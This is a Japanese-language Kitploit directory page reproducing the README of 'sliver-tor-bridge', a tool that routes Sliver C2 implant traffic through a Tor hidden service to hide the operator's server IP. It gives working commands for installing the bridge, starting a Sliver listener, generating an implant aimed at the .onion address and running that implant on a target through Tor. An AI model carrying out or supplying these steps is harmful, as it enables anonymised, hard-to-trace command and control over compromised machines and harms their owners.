Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
sliver-tor-bridge — Sliver C2用Torトランスポートブリッジ - 匿名のコマンド&コントロール | Kitploit
ツール/GitHubGitHub/otsmane-ahmed/sliver-tor-bridge
ペイロード生成ネットワークセキュリティペネトレーションテストコマンド&コントロールレッドチーミング
GitHubotsmane-ahmed/sliver-tor-bridge

sliver-tor-bridge

Sliver C2用Torトランスポートブリッジ - 匿名のコマンド&コントロール

リポジトリを見る
60837ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Python License Docker Sliver

sliver-tor-bridge

Sliver C2 のための Tor ベースのトランスポートブリッジ。隠しサービスを作成し、トラフィックを Sliver サーバーにプロキシすることで、実際の IP が露出するのを防ぎます。

機能

Tor の隠しサービスをセットアップし、ローカルの HTTP プロキシを指すようにします。プロキシはすべてのリクエストを Sliver の HTTPS リスナーに転送します。インプラントは Tor を経由して接続し、通常通り Sliver で制御できます。

root@kitploit:~
sliver server <---> proxy <---> tor hidden service <---> implant
   :8443           :8080          xyz.onion              (via tor)

なぜ使うのか

  • C2 サーバーの IP が Tor の背後に隠れる
  • インプラントは .onion アドレスのみを知り、実際の IP は知らない
  • 標準の Sliver で動作し、修正は不要
  • シンプルな Python セットアップで、Go のコンパイルは不要

要件

  • Python 3.8+
  • tor (apt install tor)
  • sliver (https://sliver.sh)

インストール

root@kitploit:~
git clone https://github.com/Otsmane-Ahmed/sliver-tor-bridge.git
cd sliver-tor-bridge
python3 -m venv venv
source venv/bin/activate
pip install -e .

使い方

HTTPS リスナーで Sliver を起動します:

root@kitploit:~
sliver-client
sliver > https -L 127.0.0.1 -l 8443

別のターミナルでブリッジを起動します:

root@kitploit:~
sudo systemctl stop tor
sliver-tor-bridge start --sliver-port 8443

出力例:

root@kitploit:~
[+] Tor started successfully!
[+] Hidden Service: http://abc123xyz.onion
[+] Bridge is READY!

.onion アドレスが表示されたら、インプラントを生成します:

root@kitploit:~
sliver > generate --http http://abc123xyz.onion --os linux --save /tmp/implant

ターゲット上でインプラントを実行します(Tor が必要):

root@kitploit:~
HTTP_PROXY=socks5h://127.0.0.1:9050 ./implant

CLI オプション

root@kitploit:~
sliver-tor-bridge start [OPTIONS]

--sliver-port    Sliver HTTPS ポート(デフォルト: 8443)
--tor-port       Tor SOCKS ポート(デフォルト: 9050)
--service-port   隠しサービスポート(デフォルト: 80)
-c, --config     設定ファイルのパス

その他のコマンド:

root@kitploit:~
sliver-tor-bridge status    # 隠しサービスが動作しているか確認
sliver-tor-bridge stop      # 隠しサービスディレクトリをクリーンアップ

動作の仕組み

root@kitploit:~
graph LR
    Implant[Implant] -->|Tor Network| HS["Hidden Service (.onion)"]
    HS -->|TCP :8080| Proxy["Bridge Proxy"]
    Proxy -->|HTTPS :8443| Sliver["Sliver Server"]
  1. Tor マネージャーが Tor プロセスを起動し、隠しサービスを作成します
  2. 隠しサービスは localhost:8080(プロキシ)を指します
  3. Flask プロキシが 8080 で待機し、リクエストを localhost:8443 の Sliver に転送します
  4. Sliver は通常通りインプラントの通信を処理します

ブリッジは中間に位置し、トラフィックを中継します。Sliver は通常の HTTPS 接続を受け取っていると認識し、インプラントは通常の HTTP サーバーと通信していると認識します。

Docker

root@kitploit:~
docker-compose up -d
docker-compose logs -f

テスト

root@kitploit:~
pip install pytest
pytest tests/

ファイル構成

root@kitploit:~
sliver_tor_bridge/
  cli.py          # コマンドラインインターフェース
  tor_manager.py  # Tor の起動と隠しサービスの作成
  proxy.py        # Sliver に転送する Flask アプリ
  config.py       # 設定の処理

トラブルシューティング

tor が起動しない: システムの Tor が停止していることを確認してください(sudo systemctl stop tor)

接続タイムアウト: Tor のブートストラップに 1〜3 分かかることがあります。100% になるまで待ってください

インプラントが接続しない: インプラントが Tor にアクセスできることを確認してください(SOCKS プロキシを 9050 に設定)

ライセンス

MIT

ツールをダウンロード